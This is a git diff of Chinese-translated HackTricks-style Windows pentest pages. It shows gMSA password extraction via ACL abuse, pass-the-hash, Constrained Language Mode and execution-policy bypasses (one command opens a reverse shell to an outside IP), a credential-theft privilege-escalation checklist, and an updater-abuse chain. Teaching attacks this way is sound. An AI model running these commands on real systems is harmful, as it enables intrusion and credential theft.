gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域控制器 (DCs) 每 30 天自动重置一次。该密码是一个名为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) 的加密数据 blob,仅授权管理员和安装了 gMSA 的服务器可以检索,确保环境安全。要访问此信息,需要使用 LDAPS 等安全连接,或连接必须通过 'Sealing & Secure' 进行认证。
 | 
			
		||||
 | 
			
		||||

 | 
			
		||||
 | 
			
		||||
You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
 | 
			
		||||
您可以通过 [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
 | 
			
		||||
```
 | 
			
		||||
/GMSAPasswordReader --AccountName jkohler
 | 
			
		||||
```
 | 
			
		||||
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
 | 
			
		||||
 | 
			
		||||
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
 | 
			
		||||
此外,请查看这个 [web page](https://cube0x0.github.io/Relaying-for-gMSA/),了解如何执行 **NTLM relay attack** 来 **读取** **gMSA** 的 **密码**。
 | 
			
		||||
 | 
			
		||||
### 滥用 ACL chaining 来 read gMSA managed password (GenericAll -> ReadGMSAPassword)
 | 
			
		||||
### 滥用 ACL 链式继承以读取 gMSA 管理密码 (GenericAll -> ReadGMSAPassword)
 | 
			
		||||
 | 
			
		||||
在许多环境中,低权限用户可以通过滥用配置不当的对象 ACL,在不破坏 DC 的情况下访问 gMSA 秘密:
 | 
			
		||||
在许多环境中,低权限用户可以通过滥用错误配置的对象 ACLs,无需危及 DC 即可获取对 gMSA 秘密的访问:
 | 
			
		||||
 | 
			
		||||
- 你可控制的一个组(例如通过 GenericAll/GenericWrite)被授予对 gMSA 的 `ReadGMSAPassword` 权限。
 | 
			
		||||
- 通过将自己添加到该组,你将继承通过 LDAP 读取 gMSA 的 `msDS-ManagedPassword` blob 的权限,并派生出可用的 NTLM 凭证。
 | 
			
		||||
- 将自己加入该组后,你将继承通过 LDAP 读取 gMSA 的 `msDS-ManagedPassword` blob 的权限,并可从中推导出可用的 NTLM 凭证。
 | 
			
		||||
 | 
			
		||||
典型工作流程:
 | 
			
		||||
 | 
			
		||||
1) 使用 BloodHound 发现路径,并将你的 foothold principals 标注为 Owned。查找如下边:
 | 
			
		||||
1) 使用 BloodHound 发现路径并将你的 foothold principals 标记为 Owned。查找类似的边:
 | 
			
		||||
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
 | 
			
		||||
 | 
			
		||||
2) 将自己添加到你控制的中间组(以 bloodyAD 为例):
 | 
			
		||||
2) 将自己添加到你控制的中间组(使用 bloodyAD 的示例):
 | 
			
		||||
```bash
 | 
			
		||||
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
 | 
			
		||||
```
 | 
			
		||||
3) 通过 LDAP 读取 gMSA 的托管密码并推导 NTLM 哈希。NetExec 自动化提取 `msDS-ManagedPassword` 并转换为 NTLM:
 | 
			
		||||
3) 通过 LDAP 读取 gMSA 管理的密码并推导出 NTLM 哈希。NetExec 自动化提取 `msDS-ManagedPassword` 并转换为 NTLM:
 | 
			
		||||
```bash
 | 
			
		||||
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
 | 
			
		||||
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
 | 
			
		||||
# Account: mgtsvc$  NTLM: edac7f05cded0b410232b7466ec47d6f
 | 
			
		||||
```
 | 
			
		||||
4) 以 gMSA 身份使用 NTLM hash 进行身份验证(不需要 plaintext)。如果该账户位于 Remote Management Users,WinRM 将直接可用:
 | 
			
		||||
4) 使用 NTLM hash 以 gMSA 身份进行验证(不需要明文)。如果该帐户位于 Remote Management Users,则 WinRM 会直接工作:
 | 
			
		||||
```bash
 | 
			
		||||
# SMB / WinRM as the gMSA using the NT hash
 | 
			
		||||
netexec smb   <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
 | 
			
		||||
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
 | 
			
		||||
```
 | 
			
		||||
注意:
 | 
			
		||||
- LDAP 对 `msDS-ManagedPassword` 的读取需要 sealing(例如 LDAPS/sign+seal)。工具会自动处理此项。
 | 
			
		||||
- gMSAs 常常被授予如 WinRM 之类的本地权限;验证组成员身份(例如 Remote Management Users)以规划 lateral movement。
 | 
			
		||||
- 如果你只需要该 blob 来自行计算 NTLM,请参见 MSDS-MANAGEDPASSWORD_BLOB structure。
 | 
			
		||||
- 读取 LDAP 中的 `msDS-ManagedPassword` 需要 sealing(例如 LDAPS/sign+seal)。工具会自动处理此事。
 | 
			
		||||
- gMSAs 经常被授予诸如 WinRM 的本地权限;验证组成员(例如 Remote Management Users)以规划 lateral movement。
 | 
			
		||||
- 如果你只需要该 blob 来自行计算 NTLM,请参见 MSDS-MANAGEDPASSWORD_BLOB 结构。
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## LAPS
 | 
			
		||||
 | 
			
		||||
**本地管理员密码解决方案 (LAPS)**,可从 [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) 下载,用于管理本地管理员密码。这些密码是**随机生成的**、唯一的,并且**定期更改**,集中存储在 Active Directory 中。对这些密码的访问通过 ACLs 限制为授权用户。若授予足够的权限,则可以读取本地管理员密码。
 | 
			
		||||
The **Local Administrator Password Solution (LAPS)**,可从 [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) 下载,用于管理本地管理员密码。这些密码是 **随机化**、唯一且 **定期更换** 的,集中存储在 Active Directory 中。对这些密码的访问通过 ACLs 限制为授权用户。若授予足够权限,则可以读取本地管理员密码。
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -206,7 +207,7 @@ netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
 | 
			
		||||
 | 
			
		||||
## PS Constrained Language Mode
 | 
			
		||||
 | 
			
		||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **会锁定许多用于有效使用 PowerShell 的功能**,例如阻止 COM 对象、仅允许经批准的 .NET 类型、基于 XAML 的工作流、PowerShell 类等。
 | 
			
		||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **会锁定许多有效使用 PowerShell 所需的功能**,例如阻止 COM objects,仅允许经批准的 .NET types,XAML-based workflows,PowerShell classes 等等。
 | 
			
		||||
 | 
			
		||||
### **检查**
 | 
			
		||||
```bash
 | 
			
		||||
@ -218,10 +219,10 @@ $ExecutionContext.SessionState.LanguageMode
 | 
			
		||||
#Easy bypass
 | 
			
		||||
Powershell -version 2
 | 
			
		||||
```
 | 
			
		||||
在当前的 Windows 中那个 Bypass 无法工作,但你可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
 | 
			
		||||
**要编译它你可能需要** **去** _**添加引用**_ -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并 **将项目更改为 .Net4.5**。
 | 
			
		||||
在当前的 Windows 上该 Bypass 无效,但你可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
 | 
			
		||||
**要编译它你可能需要** **去** _**添加引用**_ -> _浏览_ ->_浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并 **将项目更改为 .Net4.5**。
 | 
			
		||||
 | 
			
		||||
#### 直接绕过:
 | 
			
		||||
#### 直接 bypass:
 | 
			
		||||
```bash
 | 
			
		||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
 | 
			
		||||
```
 | 
			
		||||
@ -229,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
 | 
			
		||||
```bash
 | 
			
		||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
 | 
			
		||||
```
 | 
			
		||||
你可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任意进程中 **执行 Powershell** 代码 并 bypass the constrained mode。更多信息请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
 | 
			
		||||
你可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **execute Powershell** 代码并 bypass the constrained mode。更多信息请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
 | 
			
		||||
 | 
			
		||||
## PS Execution Policy
 | 
			
		||||
## PS 执行策略
 | 
			
		||||
 | 
			
		||||
默认情况下它被设置为 **restricted.** 绕过(bypass) 此策略的主要方法:
 | 
			
		||||
默认情况下设置为 **restricted.** 绕过此策略的主要方法:
 | 
			
		||||
```bash
 | 
			
		||||
1º Just copy and paste inside the interactive PS console
 | 
			
		||||
2º Read en Exec
 | 
			
		||||
@ -253,32 +254,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 | 
			
		||||
9º Use EncodeCommand
 | 
			
		||||
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
 | 
			
		||||
```
 | 
			
		||||
更多内容请见 [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
 | 
			
		||||
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
 | 
			
		||||
 | 
			
		||||
## Security Support Provider Interface (SSPI)
 | 
			
		||||
## 安全支持提供者接口 (SSPI)
 | 
			
		||||
 | 
			
		||||
是用于对用户进行身份验证的 API。
 | 
			
		||||
 | 
			
		||||
SSPI 负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后 SSPI 将协商将使用哪个身份验证协议,这些身份验证协议称为 Security Support Provider (SSP),以 DLL 的形式位于每台 Windows 机器内部,且双方必须都支持相同的 SSP 才能通信。
 | 
			
		||||
SSPI 负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后 SSPI 将协商使用哪个身份验证协议,这些身份验证协议称为 Security Support Provider (SSP),以 DLL 的形式位于每台 Windows 机器中,且双方必须支持相同的 SSP 才能通信。
 | 
			
		||||
 | 
			
		||||
### 主要 SSPs
 | 
			
		||||
 | 
			
		||||
- **Kerberos**: The preferred one
 | 
			
		||||
- **Kerberos**:首选的
 | 
			
		||||
- %windir%\Windows\System32\kerberos.dll
 | 
			
		||||
- **NTLMv1** and **NTLMv2**: Compatibility reasons
 | 
			
		||||
- **NTLMv1** and **NTLMv2**:出于兼容性原因
 | 
			
		||||
- %windir%\Windows\System32\msv1_0.dll
 | 
			
		||||
- **Digest**: Web servers and LDAP, password in form of a MD5 hash
 | 
			
		||||
- **Digest**:用于 Web 服务器和 LDAP,密码以 MD5 哈希的形式
 | 
			
		||||
- %windir%\Windows\System32\Wdigest.dll
 | 
			
		||||
- **Schannel**: SSL and TLS
 | 
			
		||||
- **Schannel**:用于 SSL 和 TLS
 | 
			
		||||
- %windir%\Windows\System32\Schannel.dll
 | 
			
		||||
- **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)
 | 
			
		||||
- **Negotiate**:用于协商要使用的协议(Kerberos 或 NTLM,默认是 Kerberos)
 | 
			
		||||
- %windir%\Windows\System32\lsasrv.dll
 | 
			
		||||
 | 
			
		||||
#### The negotiation could offer several methods or only one.
 | 
			
		||||
#### 协商可能会提供多种方法,也可能只有一种。
 | 
			
		||||
 | 
			
		||||
## UAC - 用户帐户控制
 | 
			
		||||
## UAC - User Account Control
 | 
			
		||||
 | 
			
		||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 是一个功能,可在执行提升权限的活动时启用 **同意提示**。
 | 
			
		||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 是一个功能,可为需要提升权限的操作启用 **同意提示**。
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
 | 
			
		||||
@ -1,4 +1,4 @@
 | 
			
		||||
# 检查表 - Local Windows Privilege Escalation
 | 
			
		||||
# Checklist - Local Windows Privilege Escalation
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -8,9 +8,9 @@
 | 
			
		||||
 | 
			
		||||
- [ ] 获取 [**System information**](windows-local-privilege-escalation/index.html#system-info)
 | 
			
		||||
- [ ] 搜索 **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
 | 
			
		||||
- [ ] 使用 **Google to search** 查找 kernel **exploits**
 | 
			
		||||
- [ ] 使用 **searchsploit to search** 查找 kernel **exploits**
 | 
			
		||||
- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) 中有有趣的信息吗?
 | 
			
		||||
- [ ] 使用 Google 搜索 kernel **exploits**
 | 
			
		||||
- [ ] 使用 searchsploit 搜索 kernel **exploits**
 | 
			
		||||
- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) 中有有趣信息吗?
 | 
			
		||||
- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) 中有密码吗?
 | 
			
		||||
- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) 中有有趣信息吗?
 | 
			
		||||
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
 | 
			
		||||
@ -22,52 +22,52 @@
 | 
			
		||||
 | 
			
		||||
- [ ] 检查 [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) 和 [**WEF** ](windows-local-privilege-escalation/index.html#wef) 设置
 | 
			
		||||
- [ ] 检查 [**LAPS**](windows-local-privilege-escalation/index.html#laps)
 | 
			
		||||
- [ ] 检查 [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) 是否激活
 | 
			
		||||
- [ ] 检查 [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) 是否启用
 | 
			
		||||
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
 | 
			
		||||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
 | 
			
		||||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)?
 | 
			
		||||
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
 | 
			
		||||
- [ ] 检查是否有任何 [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
 | 
			
		||||
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
 | 
			
		||||
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
 | 
			
		||||
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
 | 
			
		||||
- [ ] 检查 [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
 | 
			
		||||
- [ ] 你是否为 [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
 | 
			
		||||
- [ ] 检查你是否启用以下任何 token: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
 | 
			
		||||
- [ ] 检查当前用户的 **privileges** (权限) (查看 [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups))
 | 
			
		||||
- [ ] 你是 [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) 吗?
 | 
			
		||||
- [ ] 检查是否拥有 [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
 | 
			
		||||
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
 | 
			
		||||
- [ ] 检查 [**users homes**](windows-local-privilege-escalation/index.html#home-folders)(访问?)
 | 
			
		||||
- [ ] 检查 [**users homes**](windows-local-privilege-escalation/index.html#home-folders)(访问权限?)
 | 
			
		||||
- [ ] 检查 [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
 | 
			
		||||
- [ ] 剪贴板中有什么? [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
 | 
			
		||||
- [ ] 查看剪贴板中有什么内容 [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
 | 
			
		||||
 | 
			
		||||
### [Network](windows-local-privilege-escalation/index.html#network)
 | 
			
		||||
 | 
			
		||||
- [ ] 检查 **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
 | 
			
		||||
- [ ] 检查受限于外部的隐藏本地服务
 | 
			
		||||
- [ ] 检查当前的 [**network** **information**](windows-local-privilege-escalation/index.html#network)
 | 
			
		||||
- [ ] 检查对外受限的 **hidden local services**
 | 
			
		||||
 | 
			
		||||
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
 | 
			
		||||
 | 
			
		||||
- [ ] 检查进程二进制的 [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
 | 
			
		||||
- [ ] 进程二进制文件和文件夹的 [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
 | 
			
		||||
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
 | 
			
		||||
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
 | 
			
		||||
- [ ] 通过 `ProcDump.exe` 使用 **interesting processes** 窃取凭据?(firefox, chrome, etc ...)
 | 
			
		||||
- [ ] 使用 `ProcDump.exe` 从有价值的进程窃取凭据?(firefox, chrome 等)
 | 
			
		||||
 | 
			
		||||
### [Services](windows-local-privilege-escalation/index.html#services)
 | 
			
		||||
 | 
			
		||||
- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions)
 | 
			
		||||
- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
 | 
			
		||||
- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
 | 
			
		||||
- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
 | 
			
		||||
- [ ] 能否 **modify any service**?(修改任何服务?) (查看权限)
 | 
			
		||||
- [ ] 能否 **modify** 服务所 **执行的 binary**?(修改服务执行的二进制文件?)
 | 
			
		||||
- [ ] 能否 **modify** 任何服务的 **registry**?(修改服务注册表?)
 | 
			
		||||
- [ ] 能否利用任何 **unquoted service** binary **path**?(未引用的服务路径?)
 | 
			
		||||
 | 
			
		||||
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
 | 
			
		||||
 | 
			
		||||
- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
 | 
			
		||||
- [ ] 安装的应用是否有 **write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
 | 
			
		||||
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
 | 
			
		||||
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
 | 
			
		||||
 | 
			
		||||
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
 | 
			
		||||
 | 
			
		||||
- [ ] 你可以在 PATH 的任何文件夹中写入吗?
 | 
			
		||||
- [ ] 是否存在任何已知服务二进制尝试加载不存在的 DLL?
 | 
			
		||||
- [ ] 你可以在任何 **binaries folder** 中写入吗?
 | 
			
		||||
- [ ] 你能否 **write in any folder inside PATH**?
 | 
			
		||||
- [ ] 是否有已知的服务二进制会尝试加载不存在的 DLL?
 | 
			
		||||
- [ ] 你能否 **write** 到任何 **binaries folder**?
 | 
			
		||||
 | 
			
		||||
### [Network](windows-local-privilege-escalation/index.html#network)
 | 
			
		||||
 | 
			
		||||
@ -77,39 +77,39 @@
 | 
			
		||||
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
 | 
			
		||||
 | 
			
		||||
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) 凭据
 | 
			
		||||
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 中可用的凭据?
 | 
			
		||||
- [ ] 有趣的 [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
 | 
			
		||||
- [ ] 已保存的 [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) 密码?
 | 
			
		||||
- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) 中有有趣信息?
 | 
			
		||||
- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) 中有密码?
 | 
			
		||||
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 密码?
 | 
			
		||||
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
 | 
			
		||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
 | 
			
		||||
- [ ] 有可用的 [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 凭据吗?
 | 
			
		||||
- [ ] 有有价值的 [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) 吗?
 | 
			
		||||
- [ ] 保存的 [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) 的密码?
 | 
			
		||||
- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) 中有有趣信息吗?
 | 
			
		||||
- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) 中有密码吗?
 | 
			
		||||
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 的密码?
 | 
			
		||||
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)?凭据?
 | 
			
		||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)?DLL Side Loading?
 | 
			
		||||
 | 
			
		||||
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
 | 
			
		||||
 | 
			
		||||
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
 | 
			
		||||
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
 | 
			
		||||
- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) 中有密码?
 | 
			
		||||
- [ ] 是否有任何 [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 备份?
 | 
			
		||||
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
 | 
			
		||||
- [ ] 有 **McAfee SiteList.xml** 文件吗?([**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml))
 | 
			
		||||
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
 | 
			
		||||
- [ ] 在 [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) 中有密码?
 | 
			
		||||
- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) 中有有趣信息?
 | 
			
		||||
- [ ] 想要向用户 [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) 吗?
 | 
			
		||||
- [ ] 回收站中的有趣 [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
 | 
			
		||||
- [ ] 其他包含凭据的 [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
 | 
			
		||||
- [ ] 浏览器数据中(dbs, history, bookmarks, ...)有内容? [**inside Browser data**](windows-local-privilege-escalation/index.html#browsers-history)
 | 
			
		||||
- [ ] 注册表中有 [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
 | 
			
		||||
- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) 中有密码吗?
 | 
			
		||||
- [ ] 有任何 [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 备份吗?
 | 
			
		||||
- [ ] 有 [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials) 吗?
 | 
			
		||||
- [ ] 有 [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) 文件吗?
 | 
			
		||||
- [ ] 有 [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) 吗?
 | 
			
		||||
- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) 中有密码吗?
 | 
			
		||||
- [ ] 日志中有有趣信息吗?[**web** **logs**](windows-local-privilege-escalation/index.html#logs)
 | 
			
		||||
- [ ] 想要向用户请求凭据吗?[**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials)
 | 
			
		||||
- [ ] 回收站中的有趣文件?[**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)
 | 
			
		||||
- [ ] 其他包含凭据的 [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)
 | 
			
		||||
- [ ] 浏览器数据中有有价值信息吗?[**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)
 | 
			
		||||
- [ ] 在文件和注册表中进行 [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry)
 | 
			
		||||
- [ ] 使用 [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) 自动搜索密码
 | 
			
		||||
- [ ] 使用可以自动搜索密码的 [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords)
 | 
			
		||||
 | 
			
		||||
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
 | 
			
		||||
 | 
			
		||||
- [ ] 你是否可以访问由管理员运行的进程的任何句柄?
 | 
			
		||||
- [ ] 你能访问由管理员运行的进程的任何 handler 吗?
 | 
			
		||||
 | 
			
		||||
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
 | 
			
		||||
 | 
			
		||||
- [ ] 检查是否可以滥用它
 | 
			
		||||
- [ ] 检查是否可以滥用
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
										
											
												File diff suppressed because it is too large
												Load Diff
											
										
									
								
							@ -1,28 +1,28 @@
 | 
			
		||||
# 滥用企业自动更新程序和特权 IPC (e.g., Netskope stAgentSvc)
 | 
			
		||||
# 滥用企业自动更新器和特权 IPC (e.g., Netskope stAgentSvc)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
本页概述了一类在企业端点代理和更新程序中发现的 Windows 本地提权链,这些组件暴露了低‑摩擦的 IPC 接口和特权更新流程。一个具有代表性的例子是 Netskope Client for Windows < R129 (CVE-2025-0309),其中低权限用户可以强制使客户端注册到攻击者控制的服务器,然后交付被 SYSTEM 服务安装的恶意 MSI。
 | 
			
		||||
本页概述了一类在企业端点代理和更新器中发现的 Windows 本地提权链,这些组件暴露出低摩擦的 IPC 接口和特权更新流程。一个代表性示例是 Netskope Client for Windows < R129 (CVE-2025-0309),其中低权限用户可以强制将注册指向攻击者控制的服务器,然后投递一个恶意 MSI,由 SYSTEM 服务安装。
 | 
			
		||||
 | 
			
		||||
Key ideas you can reuse against similar products:
 | 
			
		||||
- 滥用特权服务的 localhost IPC 来强制重新注册或重新配置到攻击者服务器。
 | 
			
		||||
- 实现厂商的更新端点,部署一个伪造的 Trusted Root CA,并将更新程序指向一个恶意的“签名”包。
 | 
			
		||||
